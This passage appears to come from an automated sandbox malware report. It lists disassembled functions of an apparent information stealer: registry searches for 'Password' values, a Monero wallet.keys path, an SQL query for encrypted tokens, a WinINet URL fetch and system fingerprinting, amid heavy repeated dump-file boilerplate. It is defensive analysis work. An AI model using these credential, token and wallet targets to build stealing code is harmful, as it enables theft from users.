Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 4d774c005fd86fd5e9dd4fca9e0e91c6de75b8d34675e4ebc38a266bf0aa62c0
Instruction ID: bc76bab4bcc88167c9b27d1c2b5be69e01c140a7a8f61db76cd069dbf3d37862
Opcode Fuzzy Hash: 4d774c005fd86fd5e9dd4fca9e0e91c6de75b8d34675e4ebc38a266bf0aa62c0
Instruction Fuzzy Hash: 1B313C71D01109DBCB06EBA8EC96DFE7778BB54301B144118F102BB2A1DB74A98ADF52

Function 003272D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0032733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003273B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0032740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00327452
HeapFree.KERNEL32(00000000), ref: 00327459
task.LIBCPMTD ref: 00327555

Strings

Password, xrefs: 00327401

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 86e3f51cb4596e67952aa68ce129d7e994328263e9b5aa1501b19970a7639007
Instruction ID: 0005a13cd6b86155c10fc8d2bf502345b59c7ec84f062449629d97f96b992b90
Opcode Fuzzy Hash: 86e3f51cb4596e67952aa68ce129d7e994328263e9b5aa1501b19970a7639007
Instruction Fuzzy Hash: 33611BB5D042689BDB25DB50EC55FD9B7B8BF44300F0081E9E689AA141DBB06BC9CFA1

Function 0032BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

lstrlen.KERNEL32(00000000), ref: 0032BC9F

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0032BCCD
lstrlen.KERNEL32(00000000), ref: 0032BDA5
lstrlen.KERNEL32(00000000), ref: 0032BDB9

Strings

AccountTokens, xrefs: 0032BB49
AccountTokens, xrefs: 0032BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0032BBEB
AccountId, xrefs: 0032BCC4

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: c6f6ecdd6d07c728a6e3834cd737142622d9aeeec8d8f0430a2c661a5de4ac6a
Instruction ID: 49ac24761d5bc8c904e1ae15a05c0331836914d63bcf3e44184426c5866555a2
Opcode Fuzzy Hash: c6f6ecdd6d07c728a6e3834cd737142622d9aeeec8d8f0430a2c661a5de4ac6a
Instruction Fuzzy Hash: BCB16172910608ABCB06FBA0DCD6EEE7778AF14300F404158F546BF091EF346A49DBA2

Function 00324FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00324FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00324FD1
InternetOpenA.WININET(00340DDF,00000000,00000000,00000000,00000000), ref: 00324FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00325011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00325041
InternetCloseHandle.WININET(?), ref: 003250B9
InternetCloseHandle.WININET(?), ref: 003250C6

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: bebbff0dea1e30453a74b529035c913ec38f03661969796b3dbe2aa314612c70
Instruction ID: cd72773c7dc7383227724e9351d7f5a3731b4a0e60211c2c15fadd5e06577e6f
Opcode Fuzzy Hash: bebbff0dea1e30453a74b529035c913ec38f03661969796b3dbe2aa314612c70
Instruction Fuzzy Hash: 2731E4B4A00218ABDB24CF54DC85BDDB7B4EB48704F1081D9EA09B7281D7B06A899F99

Function 00338100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00F2E200,00000000,?,00340E2C,00000000,?,00000000), ref: 00338130
RtlAllocateHeap.NTDLL(00000000), ref: 00338137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00338158
wsprintfA.USER32 ref: 003381AC

Strings

%d MB, xrefs: 003381A3
@, xrefs: 0033814D

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: ad50264c988f06c7ea03b868918d852b98a82478c5b8cbc615149c0abc5b38b2
Instruction ID: 5f83ded23d00abeb2774198a2c085111a93c5c7911ef8eb40616a476908fa2fa
Opcode Fuzzy Hash: ad50264c988f06c7ea03b868918d852b98a82478c5b8cbc615149c0abc5b38b2
Instruction Fuzzy Hash: 90211DB1E44318ABDB00DFD8DD49FAEB7B8FB44B10F104509F605BB280D7B869058BA5

Function 003383DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00338426
wsprintfA.USER32 ref: 00338459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0033847B
RegCloseKey.ADVAPI32(00000000), ref: 0033848C
RegCloseKey.ADVAPI32(00000000), ref: 00338499

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

RegQueryValueExA.KERNEL32(00000000,00F2E290,00000000,000F003F,?,00000400), ref: 003384EC
lstrlen.KERNEL32(?), ref: 00338501
RegQueryValueExA.KERNEL32(00000000,00F2E1D0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00340B34), ref: 00338599
RegCloseKey.KERNEL32(00000000), ref: 00338608
RegCloseKey.ADVAPI32(00000000), ref: 0033861A

Strings

%s\%s, xrefs: 0033844D

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 22c11f3eb0477ac849e07cde9c83b44e7ab97bc94fdfcb61594909cabbe9f3c3
Instruction ID: 00e7cfee5ee5bdb39d2f389982868581bec1bbaa500c747f09ec9982668bb224
Opcode Fuzzy Hash: 22c11f3eb0477ac849e07cde9c83b44e7ab97bc94fdfcb61594909cabbe9f3c3
Instruction Fuzzy Hash: 1E21E7B1910218ABDB24DF54DC85FE9B7B8FB48700F00C598E649A7140DF75AA85CFD4

Function 00337690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003376A4
RtlAllocateHeap.NTDLL(00000000), ref: 003376AB
RegOpenKeyExA.KERNEL32(80000002,00F1B738,00000000,00020119,00000000), ref: 003376DD
RegQueryValueExA.KERNEL32(00000000,00F2E170,00000000,00000000,?,000000FF), ref: 003376FE
RegCloseKey.ADVAPI32(00000000), ref: 00337708

Strings

Windows 11, xrefs: 003376BD

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 2abe27fd60350da8d667fad436a81ba6b1eb7e6f0df4a243ab54921a44c21888
Instruction ID: 6bfc52a2ee106c065232ad322ec67abf80a6bd8d60ed4ea912c976fd76cc631f
Opcode Fuzzy Hash: 2abe27fd60350da8d667fad436a81ba6b1eb7e6f0df4a243ab54921a44c21888
Instruction Fuzzy Hash: 1F0162B5A04208BBEB10DBE8DD89F7DB7BCEB58701F104454FA05E7291E6B4A908DF51

Function 00337720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337734
RtlAllocateHeap.NTDLL(00000000), ref: 0033773B
RegOpenKeyExA.KERNEL32(80000002,00F1B738,00000000,00020119,003376B9), ref: 0033775B
RegQueryValueExA.KERNEL32(003376B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0033777A
RegCloseKey.ADVAPI32(003376B9), ref: 00337784

Strings

CurrentBuildNumber, xrefs: 00337771

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
